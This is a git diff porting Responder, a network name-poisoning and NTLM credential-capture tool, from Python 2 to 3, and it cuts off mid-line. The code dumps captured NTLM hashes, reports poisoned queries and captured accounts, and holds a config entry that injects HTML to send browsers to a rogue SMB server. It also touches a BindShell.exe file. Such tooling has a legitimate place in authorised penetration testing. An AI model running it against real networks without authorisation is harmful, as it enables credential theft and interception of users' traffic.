diff --git a/DumpHash.py b/DumpHash.py index 016ca15..0e383d7 100755 --- a/DumpHash.py +++ b/DumpHash.py @@ -39,11 +39,11 @@ def GetResponderCompleteNTLMv1Hash(cursor): return Output cursor = DbConnect() -print "Dumping NTLMV2 hashes:" +print("Dumping NTLMV2 hashes:") v2 = GetResponderCompleteNTLMv2Hash(cursor) DumpHashToFile("DumpNTLMv2.txt", v2) -print v2 -print "\nDumping NTLMv1 hashes:" +print(v2) +print("\nDumping NTLMv1 hashes:") v1 = GetResponderCompleteNTLMv1Hash(cursor) DumpHashToFile("DumpNTLMv1.txt", v1) -print v1 +print(v1) diff --git a/Report.py b/Report.py index a312a87..7cd5e86 100755 --- a/Report.py +++ b/Report.py @@ -39,7 +39,7 @@ def GetResponderData(cursor): def GetResponderUsernamesStatistic(cursor): res = cursor.execute("SELECT COUNT(DISTINCT UPPER(user)) FROM Responder") for row in res.fetchall(): - print color('[+] In total {0} unique user accounts were captured.'.format(row[0]), code = 2, modifier = 1) + print(color('[+] In total {0} unique user accounts were captured.'.format(row[0]), code = 2, modifier = 1)) def GetResponderUsernames(cursor): res = cursor.execute("SELECT DISTINCT user FROM Responder") @@ -66,7 +66,7 @@ def GetUniqueLookups(cursor): def GetStatisticUniqueLookups(cursor): res = cursor.execute("SELECT COUNT(*) FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned)") for row in res.fetchall(): - print color('[+] In total {0} unique queries were poisoned.'.format(row[0]), code = 2, modifier = 1) + print(color('[+] In total {0} unique queries were poisoned.'.format(row[0]), code = 2, modifier = 1)) def SavePoisonersToDb(result): @@ -82,13 +82,13 @@ def SaveToDb(result): result[k] = '' cursor = DbConnect() -print color("[+] Generating report...", code = 3, modifier = 1) -print color("[+] Unique lookups ordered by IP:", code = 2, modifier = 1) +print(color("[+] Generating report...", code = 3, modifier = 1)) +print(color("[+] Unique lookups ordered by IP:", code = 2, modifier = 1)) GetUniqueLookups(cursor) GetStatisticUniqueLookups(cursor) -print color("\n[+] Extracting captured usernames:", code = 2, modifier = 1) +print(color("\n[+] Extracting captured usernames:", code = 2, modifier = 1)) GetResponderUsernames(cursor) -print color("\n[+] Username details:", code = 2, modifier = 1) +print(color("\n[+] Username details:", code = 2, modifier = 1)) GetResponderUsernamesWithDetails(cursor) GetResponderUsernamesStatistic(cursor) #print color("\n[+] Captured hashes:", code = 2, modifier = 1) diff --git a/Responder.conf b/Responder.conf index 06f23b4..fc17d62 100644 --- a/Responder.conf +++ b/Responder.conf @@ -40,11 +40,11 @@ RespondTo = ; Specific NBT-NS/LLMNR names to respond to (default = All) ; Example: RespondTo = WPAD, DEV, PROD, SQLINT +;RespondToName = WPAD, DEV, PROD, SQLINT RespondToName = - ; Specific IP Addresses not to respond to (default = None) ; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10 -DontRespondTo = +DontRespondTo = ; Specific NBT-NS/LLMNR names not to respond to (default = None) ; Example: DontRespondTo = NAC, IPS, IDS @@ -91,7 +91,7 @@ WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || sh ; HTML answer to inject in HTTP responses (before tag). ; Set to an empty string to disable. ; In this example, we redirect make users' browsers issue a request to our rogue SMB server. -HTMLToInject = Loading +HTMLToInject = Loading [HTTPS Server] diff --git a/Responder.py b/Responder.py index 8c27eac..15bea42 100755 --- a/Responder.py +++ b/Responder.py @@ -16,8 +16,10 @@ # along with this program. If not, see . import optparse import ssl - -from SocketServer import TCPServer, UDPServer, ThreadingMixIn +try: + from SocketServer import TCPServer, UDPServer, ThreadingMixIn +except: + from socketserver import TCPServer, UDPServer, ThreadingMixIn from threading import Thread from utils import * import struct @@ -45,10 +47,10 @@ parser.add_option('-v','--verbose', action="store_true", help="Increase v options, args = parser.parse_args() if not os.geteuid() == 0: - print color("[!] Responder must be run as root.") + print(color("[!] Responder must be run as root.")) sys.exit(-1) elif options.OURIP is None and IsOsX() is True: - print "\n\033[1m\033[31mOSX detected, -i mandatory option is missing\033[0m\n" + print("\n\033[1m\033[31mOSX detected, -i mandatory option is missing\033[0m\n") parser.print_help() exit(-1) @@ -60,7 +62,7 @@ StartupMessage() settings.Config.ExpandIPRanges() if settings.Config.AnalyzeMode: - print color('[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1) + print(color('[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1)) #Create the DB, before we start Responder. CreateResponderDb() @@ -69,11 +71,15 @@ class ThreadingUDPServer(ThreadingMixIn, UDPServer): def server_bind(self): if OsInterfaceIsSupported(): try: - if settings.Config.Bind_To_ALL: - pass - else: - self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') + if settings.Config.Bind_To_ALL: + pass + else: + if (sys.version_info > (3, 0)): + self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) + else: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') except: + raise pass UDPServer.server_bind(self) @@ -81,11 +87,15 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer): def server_bind(self): if OsInterfaceIsSupported(): try: - if settings.Config.Bind_To_ALL: - pass - else: - self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') + if settings.Config.Bind_To_ALL: + pass + else: + if (sys.version_info > (3, 0)): + self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) + else: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') except: + raise pass TCPServer.server_bind(self) @@ -93,13 +103,17 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer): def server_bind(self): if OsInterfaceIsSupported(): try: - if settings.Config.Bind_To_ALL: - pass - else: - self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') + if settings.Config.Bind_To_ALL: + pass + else: + if (sys.version_info > (3, 0)): + self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) + else: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') except: + raise pass - self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0)) + self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0)) TCPServer.server_bind(self) class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): @@ -113,11 +127,15 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): if OsInterfaceIsSupported(): try: - if settings.Config.Bind_To_ALL: - pass - else: - self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') + if settings.Config.Bind_To_ALL: + pass + else: + if (sys.version_info > (3, 0)): + self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) + else: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') except: + raise pass UDPServer.server_bind(self) @@ -131,12 +149,16 @@ class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer): if OsInterfaceIsSupported(): try: - if settings.Config.Bind_To_ALL: - pass - else: - self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') + if settings.Config.Bind_To_ALL: + pass + else: + if (sys.version_info > (3, 0)): + self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) + else: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') except: - pass + raise + #pass UDPServer.server_bind(self) ThreadingUDPServer.allow_reuse_address = 1 @@ -150,7 +172,7 @@ def serve_thread_udp_broadcast(host, port, handler): server = ThreadingUDPServer((host, port), handler) server.serve_forever() except: - print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running." + print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.") def serve_NBTNS_poisoner(host, port, handler): serve_thread_udp_broadcast(host, port, handler) @@ -160,15 +182,15 @@ def serve_MDNS_poisoner(host, port, handler): server = ThreadingUDPMDNSServer((host, port), handler) server.serve_forever() except: - print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running." + print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.") def serve_LLMNR_poisoner(host, port, handler): try: server = ThreadingUDPLLMNRServer((host, port), handler) server.serve_forever() except: - raise - print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running." + raise + print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.") def serve_thread_udp(host, port, handler): try: @@ -179,7 +201,7 @@ def serve_thread_udp(host, port, handler): server = ThreadingUDPServer((host, port), handler) server.serve_forever() except: - print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running." + print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.") def serve_thread_tcp(host, port, handler): try: @@ -190,7 +212,7 @@ def serve_thread_tcp(host, port, handler): server = ThreadingTCPServer((host, port), handler) server.serve_forever() except: - print color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running." + print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.") def serve_thread_tcp_auth(host, port, handler): try: @@ -201,7 +223,7 @@ def serve_thread_tcp_auth(host, port, handler): server = ThreadingTCPServerAuth((host, port), handler) server.serve_forever() except: - print color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running." + print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.") def serve_thread_SSL(host, port, handler): try: @@ -218,7 +240,7 @@ def serve_thread_SSL(host, port, handler): server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True) server.serve_forever() except: - print color("[!] ", 1, 1) + "Error starting SSL server on port " + str(port) + ", check permissions or other servers running." + print(color("[!] ", 1, 1) + "Error starting SSL server on port " + str(port) + ", check permissions or other servers running.") def main(): try: @@ -306,7 +328,7 @@ def main(): thread.setDaemon(True) thread.start() - print color('[+]', 2, 1) + " Listening for events..." + print(color('[+]', 2, 1) + " Listening for events...") while True: time.sleep(1) diff --git a/files/BindShell.exe b/files/BindShell.exe old mode 100644 new mode 100755 diff --git a/fingerprint.py b/fingerprint.py index 6e2c29c..382a1e1 100644 --- a/fingerprint.py +++ b/fingerprint.py @@ -16,18 +16,24 @@ # along with this program. If not, see . import socket import struct +import sys -from utils import color +from utils import color, StructPython2or3, NetworkSendBufferPython2or3, NetworkRecvBufferPython2or3 from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData def OsNameClientVersion(data): try: - length = struct.unpack(' (3, 0)): + length = struct.unpack('i", len(''.join(Packet)))+Packet - s.send(Buffer) + Buffer1 = StructPython2or3('>i', str(Packet))+str(Packet) + s.send(NetworkSendBufferPython2or3(Buffer1)) data = s.recv(2048) - if data[8:10] == "\x72\x00": + if data[8:10] == b'\x72\x00': Header = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00") Body = SMBSessionFingerData() Body.calculate() Packet = str(Header)+str(Body) - Buffer = struct.pack(">i", len(''.join(Packet)))+Packet - - s.send(Buffer) + Buffer1 = StructPython2or3('>i', str(Packet))+str(Packet) + s.send(NetworkSendBufferPython2or3(Buffer1)) data = s.recv(2048) - if data[8:10] == "\x73\x16": + if data[8:10] == b'\x73\x16': return OsNameClientVersion(data) except: - print color("[!] ", 1, 1) +" Fingerprint failed" + print(color("[!] ", 1, 1) +" Fingerprint failed") return None diff --git a/odict.py b/odict.py index 4e7b93b..de0aa4e 100644 --- a/odict.py +++ b/odict.py @@ -1,20 +1,9 @@ -#!/usr/bin/env python -# This file is part of Responder, a network take-over set of tools -# created and maintained by Laurent Gaffie. -# email: laurent.gaffie@gmail.com -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . -from UserDict import DictMixin +import sys +try: + from UserDict import DictMixin +except ImportError: + from collections import UserDict + from collections import MutableMapping as DictMixin class OrderedDict(dict, DictMixin): @@ -30,7 +19,7 @@ class OrderedDict(dict, DictMixin): def clear(self): self.__end = end = [] end += [None, end, end] - self.__map = {} + self.__map = {} dict.clear(self) def __setitem__(self, key, value): @@ -77,20 +66,30 @@ class OrderedDict(dict, DictMixin): inst_dict = vars(self).copy() self.__map, self.__end = tmp if inst_dict: - return self.__class__, (items,), inst_dict + return (self.__class__, (items,), inst_dict) return self.__class__, (items,) def keys(self): return list(self) - setdefault = DictMixin.setdefault - update = DictMixin.update - pop = DictMixin.pop - values = DictMixin.values - items = DictMixin.items - iterkeys = DictMixin.iterkeys - itervalues = DictMixin.itervalues - iteritems = DictMixin.iteritems + if sys.version_info >= (3, 0): + setdefault = DictMixin.setdefault + update = DictMixin.update + pop = DictMixin.pop + values = DictMixin.values + items = DictMixin.items + iterkeys = DictMixin.keys + itervalues = DictMixin.values + iteritems = DictMixin.items + else: + setdefault = DictMixin.setdefault + update = DictMixin.update + pop = DictMixin.pop + values = DictMixin.values + items = DictMixin.items + iterkeys = DictMixin.iterkeys + itervalues = DictMixin.itervalues + iteritems = DictMixin.iteritems def __repr__(self): if not self: @@ -115,3 +114,8 @@ class OrderedDict(dict, DictMixin): def __ne__(self, other): return not self == other + + +if __name__ == '__main__': + d = OrderedDict([('foo',2),('bar',3),('baz',4),('zot',5),('arrgh',6)]) + assert [x for x in d] == ['foo', 'bar', 'baz', 'zot', 'arrgh'] diff --git a/packets.py b/packets.py index 7385291..f27bc4a 100644 --- a/packets.py +++ b/packets.py @@ -14,12 +14,14 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . + import struct import settings +import codecs from base64 import b64decode, b64encode from odict import OrderedDict -from utils import HTTPCurrentDate, RespondWithIPAton +from utils import HTTPCurrentDate, RespondWithIPAton, StructPython2or3, NetworkRecvBufferPython2or3, StructWithLenPython2or3 # Packet class handling all packet generation (see odict.py). class Packet(): @@ -55,9 +57,9 @@ class NBT_Ans(Packet): ]) def calculate(self,data): - self.fields["Tid"] = data[0:2] - self.fields["NbtName"] = data[12:46] - self.fields["IP"] = RespondWithIPAton() + self.fields["Tid"] = NetworkRecvBufferPython2or3(data[0:2]) + self.fields["NbtName"] = NetworkRecvBufferPython2or3(data[12:46]) + self.fields["IP"] = RespondWithIPAton() # DNS Answer Packet class DNS_Ans(Packet): @@ -83,8 +85,8 @@ class DNS_Ans(Packet): def calculate(self,data): self.fields["Tid"] = data[0:2] self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1]) - self.fields["IP"] = RespondWithIPAton() - self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) + self.fields["IP"] = RespondWithIPAton() + self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) # LLMNR Answer Packet class LLMNR_Ans(Packet): @@ -111,10 +113,10 @@ class LLMNR_Ans(Packet): ]) def calculate(self): - self.fields["IP"] = RespondWithIPAton() - self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) - self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1] - self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1] + self.fields["IP"] = RespondWithIPAton() + self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) + self.fields["AnswerNameLen"] = StructPython2or3(">B",self.fields["AnswerName"]) + self.fields["QuestionNameLen"] = StructPython2or3(">B",self.fields["QuestionName"]) # MDNS Answer Packet class MDNS_Ans(Packet): @@ -135,7 +137,7 @@ class MDNS_Ans(Packet): ]) def calculate(self): - self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) + self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) ##### HTTP Packets ##### class NTLM_Challenge(Packet): @@ -181,26 +183,34 @@ class NTLM_Challenge(Packet): self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le') self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le') self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le') - + #Now from bytes to str.. + self.fields["TargetNameStr"] = self.fields["TargetNameStr"].decode('latin-1') + self.fields["Av1Str"] = self.fields["Av1Str"].decode('latin-1') + self.fields["Av2Str"] = self.fields["Av2Str"].decode('latin-1') + self.fields["Av3Str"] = self.fields["Av3Str"].decode('latin-1') + self.fields["Av4Str"] = self.fields["Av4Str"].decode('latin-1') + self.fields["Av5Str"] = self.fields["Av5Str"].decode('latin-1') # Then calculate - CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"]) + + CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str("A"*8)+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"]) + CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"]) CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) # Target Name Offsets - self.fields["TargetNameOffset"] = struct.pack("h",len(CalculateCompletePacket)) + self.fields["Len"] = StructWithLenPython2or3(">h",len(CalculateCompletePacket)) #Version - self.fields["VersionLen"] = struct.pack(">h",len(self.fields["VersionStr"]+self.fields["SubBuild"])) - self.fields["VersionOffset"] = struct.pack(">h",len(VersionOffset)) + self.fields["VersionLen"] = StructWithLenPython2or3(">h",len(self.fields["VersionStr"]+self.fields["SubBuild"])) + self.fields["VersionOffset"] = StructWithLenPython2or3(">h",len(VersionOffset)) #Encryption - self.fields["EncryptionLen"] = struct.pack(">h",len(self.fields["EncryptionStr"])) - self.fields["EncryptionOffset"] = struct.pack(">h",len(EncryptionOffset)) + self.fields["EncryptionLen"] = StructWithLenPython2or3(">h",len(self.fields["EncryptionStr"])) + self.fields["EncryptionOffset"] = StructWithLenPython2or3(">h",len(EncryptionOffset)) #InstOpt - self.fields["InstOptLen"] = struct.pack(">h",len(self.fields["InstOptStr"])) - self.fields["EncryptionOffset"] = struct.pack(">h",len(InstOpOffset)) + self.fields["InstOptLen"] = StructWithLenPython2or3(">h",len(self.fields["InstOptStr"])) + self.fields["EncryptionOffset"] = StructWithLenPython2or3(">h",len(InstOpOffset)) #ThrdIDOffset - self.fields["ThrdIDOffset"] = struct.pack(">h",len(ThrdIDOffset)) + self.fields["ThrdIDOffset"] = StructWithLenPython2or3(">h",len(ThrdIDOffset)) class MSSQLNTLMChallengeAnswer(Packet): fields = OrderedDict([ @@ -475,12 +485,12 @@ class MSSQLNTLMChallengeAnswer(Packet): def calculate(self): # First convert to unicode - self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le') - self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le') - self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le') - self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le') - self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le') - self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le') + self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le').decode('latin-1') + self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le').decode('latin-1') + self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le').decode('latin-1') + self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le').decode('latin-1') + self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le').decode('latin-1') + self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le').decode('latin-1') # Then calculate CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["SSPIBuffLen"])+str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) @@ -489,22 +499,22 @@ class MSSQLNTLMChallengeAnswer(Packet): CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"]) CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) - self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket)) - self.fields["SSPIBuffLen"] = struct.pack("h",len(CalculateCompletePacket)) + self.fields["SSPIBuffLen"] = StructWithLenPython2or3("i", len(CalculatePacketLen)) - self.fields["OpHeadASNIDLen"] = struct.pack(">i", len(OperationPacketLen)) - self.fields["SequenceHeaderLen"] = struct.pack(">B", len(NTLMMessageLen)) + self.fields["ParserHeadASNLen"] = StructWithLenPython2or3(">i", len(CalculatePacketLen)) + self.fields["OpHeadASNIDLen"] = StructWithLenPython2or3(">i", len(OperationPacketLen)) + self.fields["SequenceHeaderLen"] = StructWithLenPython2or3(">B", len(NTLMMessageLen)) ##### Workstation Offset Calculation: - self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("B", len(AsnLen+CalculateSecBlob)-3) - self.fields["NegTokenTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-6) - self.fields["Tag1ASNIdLen"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"]))) - self.fields["Tag1ASNId2Len"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2Str"]))) - self.fields["Tag2ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"]))) - self.fields["Tag3ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob)) + self.fields["SecBlobLen"] = StructWithLenPython2or3("B", len(AsnLen+CalculateSecBlob)-3) + self.fields["NegTokenTagASNIdLen"] = StructWithLenPython2or3(">B", len(AsnLen+CalculateSecBlob)-6) + self.fields["Tag1ASNIdLen"] = StructWithLenPython2or3(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"]))) + self.fields["Tag1ASNId2Len"] = StructWithLenPython2or3(">B", len(str(self.fields["Tag1ASNId2Str"]))) + self.fields["Tag2ASNIdLen"] = StructWithLenPython2or3(">B", len(CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"]))) + self.fields["Tag3ASNIdLen"] = StructWithLenPython2or3(">B", len(CalculateSecBlob)) ###### Andxoffset calculation. CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Action"])+str(self.fields["SecBlobLen"])+str(self.fields["Bcc"])+BccLen - self.fields["Andxoffset"] = struct.pack(" 255: - self.fields["Tag3ASNIdLen"] = struct.pack(">H", len(CalculateSecBlob)) - else: - self.fields["Tag3ASNIdLenOfLen"] = "\x81" - self.fields["Tag3ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob)) + if len(CalculateSecBlob) > 255: + self.fields["Tag3ASNIdLen"] = StructWithLenPython2or3(">H", len(CalculateSecBlob)) + else: + self.fields["Tag3ASNIdLenOfLen"] = "\x81" + self.fields["Tag3ASNIdLen"] = StructWithLenPython2or3(">B", len(CalculateSecBlob)) - if len(AsnLen+CalculateSecBlob)-3 > 255: - self.fields["ChoiceTagASNIdLen"] = struct.pack(">H", len(AsnLen+CalculateSecBlob)-4) - else: - self.fields["ChoiceTagASNLenOfLen"] = "\x81" - self.fields["ChoiceTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-3) + if len(AsnLen+CalculateSecBlob)-3 > 255: + self.fields["ChoiceTagASNIdLen"] = StructWithLenPython2or3(">H", len(AsnLen+CalculateSecBlob)-4) + else: + self.fields["ChoiceTagASNLenOfLen"] = "\x81" + self.fields["ChoiceTagASNIdLen"] = StructWithLenPython2or3(">B", len(AsnLen+CalculateSecBlob)-3) - if len(AsnLen+CalculateSecBlob)-7 > 255: - self.fields["NegTokenTagASNIdLen"] = struct.pack(">H", len(AsnLen+CalculateSecBlob)-8) - else: - self.fields["NegTokenTagASNLenOfLen"] = "\x81" - self.fields["NegTokenTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-7) + if len(AsnLen+CalculateSecBlob)-7 > 255: + self.fields["NegTokenTagASNIdLen"] = StructWithLenPython2or3(">H", len(AsnLen+CalculateSecBlob)-8) + else: + self.fields["NegTokenTagASNLenOfLen"] = "\x81" + self.fields["NegTokenTagASNIdLen"] = StructWithLenPython2or3(">B", len(AsnLen+CalculateSecBlob)-7) - tag2length = CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"]) + tag2length = CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"]) - if len(tag2length) > 255: - self.fields["Tag2ASNIdLen"] = struct.pack(">H", len(tag2length)) - else: - self.fields["Tag2ASNIdLenOfLen"] = "\x81" - self.fields["Tag2ASNIdLen"] = struct.pack(">B", len(tag2length)) + if len(tag2length) > 255: + self.fields["Tag2ASNIdLen"] = StructWithLenPython2or3(">H", len(tag2length)) + else: + self.fields["Tag2ASNIdLenOfLen"] = "\x81" + self.fields["Tag2ASNIdLen"] = StructWithLenPython2or3(">B", len(tag2length)) - self.fields["Tag1ASNIdLen"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"]))) - self.fields["Tag1ASNId2Len"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2Str"]))) + self.fields["Tag1ASNIdLen"] = StructWithLenPython2or3(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"]))) + self.fields["Tag1ASNId2Len"] = StructWithLenPython2or3(">B", len(str(self.fields["Tag1ASNId2Str"]))) ###### Workstation Offset CalculateOffsetWorkstation = 